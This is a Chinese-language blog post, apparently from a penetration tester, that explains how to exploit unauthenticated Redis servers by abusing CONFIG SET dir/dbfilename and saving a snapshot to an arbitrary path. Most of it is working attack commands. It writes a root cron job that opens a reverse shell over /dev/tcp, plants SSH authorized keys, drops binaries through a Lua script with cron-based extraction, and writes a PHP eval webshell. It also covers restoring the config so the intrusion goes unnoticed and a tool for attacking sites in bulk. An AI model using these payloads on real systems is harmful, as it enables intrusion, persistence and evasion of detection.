redis未授权访问利用

Posted by 00theway on 2017-03-27

简介

Redis 提供了2种不同的持久化方式,RDB方式和AOF方式.

  • RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照.
  • AOF 持久化记录服务器执行的所有写操作命令.

    经过查看官网文档发现AOF方式备份数据库的文件名默认为appendonly.aof,可以在配置文件中通过appendfilename设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF方式备份写任意文件.

    RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.

常见利用方式

root权限

  • 直接写计划任务

    执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #获取dir的值
    config get dir
    #获取dbfilename的值
    config get dbfilename
    #设置数据库备份目录为linux计划任务目录
    config set dir '/var/spool/cron/'
    #设置备份文件名为root,以root身份执行计划任务
    config set dbfilename 'root'
    #删除所有数据库的所有key
    flushall
    #设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
    eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'
    #保存
    save
    #删除新增的key
    del cron
    #恢复dir和dbfilename
    config set dir '***'
    config set dbfilename '***'

    /var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

  • 写ssh pub key(前提是目标服务器允许使用key登录)

    基本语句与写计划任务相同,直接调用lua语句写入ssh key前后的换行符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #获取dir的值
    config get dir
    #获取dbfilename的值
    config get dbfilename
    #设置数据库备份目录为.ssh
    config set dir '/root/.ssh/'
    #设置备份文件名为authorized_keys
    config set dbfilename 'authorized_keys'
    #清空数据库
    flushall
    #写入ssh pub key的内容
    eval "redis.call('set','ssh',string.char(10)..ARGV[1]..string.char(10))" 0 'ssh pub key'
    #保存
    save
    #删除新增的key
    del ssh
    #恢复dir和dbfilename
    config set dir '***'
    config set dbfilename '***'
  • 写二进制文件,利用dns、icmp等协议上线(tcp协议不能出网)

    写二进制文件跟前边有所不同,原因在于使用RDB方式备份redis数据库是默认情况下会对文件进行压缩,上传的二进制文件也会被压缩,而且文件前后存在脏数据,因此需要将默认压缩关闭,并且通过计划任务调用python清洗脏数据。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    local function hex2bin(hexstr)
    local str = ""
    for i = 1, string.len(hexstr) - 1, 2 do
    local doublebytestr = string.sub(hexstr, i, i+1);
    local n = tonumber(doublebytestr, 16);
    if 0 == n then
    str = str .. '\00'
    else
    str = str .. string.format("%c", n)
    end
    end
    return str
    end
    local dir = redis.call('config','get','dir')
    redis.call('config','set','dir','/tmp/')
    local dbfilename = redis.call('config','get','dbfilename')
    redis.call('config','set','dbfilename','t')
    local rdbcompress = redis.call('config','get','rdbcompression')
    redis.call('config','set','rdbcompression','no')
    redis.call('flushall')
    local data = '1a2b3c4d5e6f1223344556677890aa'
    redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))
    local rst = {}
    rst[1] = 'server default config'
    rst[2] = 'dir:'..dir[2]
    rst[3] = 'dbfilename:'..dbfilename[2]
    rst[4] = 'rdbcompression:'..rdbcompress[2]
    return rst

    保存以上代码为a.lua,变量data保存的是程序的16进制编码,执行

    1
    redis-cli --eval a.lua -h *.*.*.*

    由于redis不支持在lua中调用save因此需要手动执行save操作,并且删除key data,恢复dir等。

    1
    2
    3
    4
    redis-cli save -h *.*.*.*
    redis-cli config set dir *** -h *.*.*.*
    redis-cli config set dbfilename *** -h *.*.*.*
    redis-cli config set rdbcompression * -h *.*.*.*

    目前写入的文件前后是存在垃圾数据的,下一步通过写计划任务调用python或者系统命令提取出二进制文件(写文件之在数据前后加入了“|||”作为提取最终文件的标识)。

    1
    */1 * * * * python -c 'open("/tmp/rst","a+").write(open("/tmp/t").read().split("|||")[1])'

    /tmp/rst为最终上传的文件。

非root权限

  • 写webshell

    当config set dir ‘*’ 设置的目录不存在是会提示目录不存在

    1
    2
    3
    127.0.0.1:6379> config set dir '/test/'
    (error) ERR Changing directory: No such file or directory
    127.0.0.1:6379>

    可以利用这个特性暴力猜网站目录。

    1
    2
    3
    4
    config set dir '/webpath/'
    config set dbfilename 'a.php'
    set shell '<?php eval(REQUEST["a"]);?>'
    save

工程化

以上为手工利用方式,在开始开始理解漏洞是非常有必要,在撸站时候这样就太慢了,所以将以上方法写成了python脚本。

下载链接

git地址

1
2
3
4
5
6
7
执行命令
python redis_exp.py --host *.*.*.* -c 'id'
上传文件
python redis_exp.py --host *.*.*.* -l /data/payload.py -r /tmp/p.py
暴力猜解目录
python redis_exp.py --host *.*.*.* -f p.txt
可以通过-p参数更改默认端口,-t参数更改等待时间

执行命令

文件上传

路径猜解